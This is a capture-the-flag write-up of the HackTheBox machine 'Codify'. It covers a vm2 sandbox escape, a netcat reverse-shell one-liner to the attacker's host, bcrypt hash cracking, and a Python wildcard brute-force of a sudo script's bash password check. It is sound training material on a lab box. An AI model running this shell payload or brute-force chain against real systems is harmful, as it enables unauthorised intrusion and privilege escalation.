Post

HackTheBox Codify

Writeup for HackTheBox Codify

HackTheBox Codify

Machine Synopsis

Key exploitation techniques:

  • vm2 library Remote Code Execution (RCE)
  • SQLite database extraction and hash cracking (bcrypt)
  • SSH for initial user access
  • sudo misconfiguration with vulnerable Bash script (mysql-backup.sh)
  • Bash string comparison vulnerability for password disclosure
  • Process monitoring (pspy) for password disclosure

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
$ nmap -sV -sC 10.10.11.239

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The scan identified SSH, Apache on port 80, and a Node.js Express framework on port 3000.

Browsing the web application on port 3000 revealed a code editor interface and an “About us” page.

website

The “About us” page contained a link to the vm2 GitHub release page, indicating the application uses this library.

about_us_webpage

Here is the “Editor” webpage.

editor_webpage

Exploitation

vm2 RCE (svc)

Researching “vm2 library exploit” revealed a known sandbox escape vulnerability. A simple reverse shell payload was crafted and executed within the provided code editor.

vm2_exploit

A netcat listener was set up on the attacking machine.

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.19 9999 >/tmp/f
1
2
3
4
5
6
$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.239] 41778
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/home/svc

This granted a reverse shell as the svc user. Initial enumeration showed joshua and svc in /home.

SQLite Database Credential Extraction (joshua)

Further enumeration located a tickets.db SQLite database in /var/www/contact.

1
2
3
4
5
6
7
8
$ pwd
/var/www/contact
$ ls
index.js
package.json
package-lock.json
templates
tickets.db

The tickets.db file was extracted. Analyzing its contents (e.g., using strings or sqlite3) revealed a users table containing a password hash for joshua.

1
2
3
4
5
6
7
8
9
# Conceptual output from strings tickets.db
...
tableusersusersCREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT UNIQUE,
    password TEXT
...
joshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
...

$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2 was saved to joshua_hash and cracked using john with rockyou.txt.

1
2
3
4
5
$ cat joshua_hash
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
$ john joshua_hash --wordlist=/usr/share/wordlists/rockyou.txt
...
spongebob1       (?)     

The password for joshua was spongebob1. SSH access was gained using these credentials.

1
2
3
$ ssh joshua@10.10.11.239
joshua@10.10.11.239's password: spongebob1
joshua@codify:~$

Privilege Escalation

mysql-backup.sh Sudo Abuse (Root)

sudo -l as joshua revealed that /opt/scripts/mysql-backup.sh could be run as root without a password.

1
2
3
4
5
6
joshua@codify:~$ sudo -l
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

Inspecting mysql-backup.sh showed it read a password from /root/.creds into DB_PASS and compared it to user input (USER_PASS) using an unquoted [[ $DB_PASS == $USER_PASS ]] comparison. This is vulnerable to shell wildcard expansion. The script also used mysql and mysqldump with the password directly on the command line, which could be visible in process lists.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi
...
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
...

When prompted for the MySQL password, entering * confirmed the vulnerability:

1
2
3
4
5
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: *
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
...

This confirmed that the [[ ... == ... ]] comparison was vulnerable to wildcard expansion, allowing any input that matches the DB_PASS pattern.

Method 1: Brute-forcing the root password via wildcard expansion

A Python script was used to brute-force the root password character by character. The script iteratively appended characters and a wildcard (*) to the guessed password, checking if Password confirmed! was in the output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
joshua@codify:~$ cat brute.py
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all:
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

        if "Password confirmed!" in output:
            password += character
            print(password)
            break
    else:
        found = True

joshua@codify:~$ python3 brute.py
k
kl
klj
...
kljh12k3jhaskjh12kjh3

The root password is kljh12k3jhaskjh12kjh3.

Method 2: Extracting the password from process list (pspy)

Alternatively, the password could be directly observed in the process list. By running pspy on the target and then executing sudo /opt/scripts/mysql-backup.sh (entering * as the password), the mysql command executed by the script would reveal the password in plaintext.

1
2
3
4
5
6
7
8
9
# On target, run pspy
joshua@codify:/dev/shm$ ./pspy64
...
# On another terminal, execute the script and enter '*'
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root: *

# pspy output would show:
CMD: UID=0     PID=3758   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;

The root password kljh12k3jhaskjh12kjh3 was directly visible.

Finally, su root was used with the recovered password to gain a root shell.

1
2
3
joshua@codify:~$ su root
Password: kljh12k3jhaskjh12kjh3
root@codify:/home/joshua#
This post is licensed under CC BY 4.0 by the author.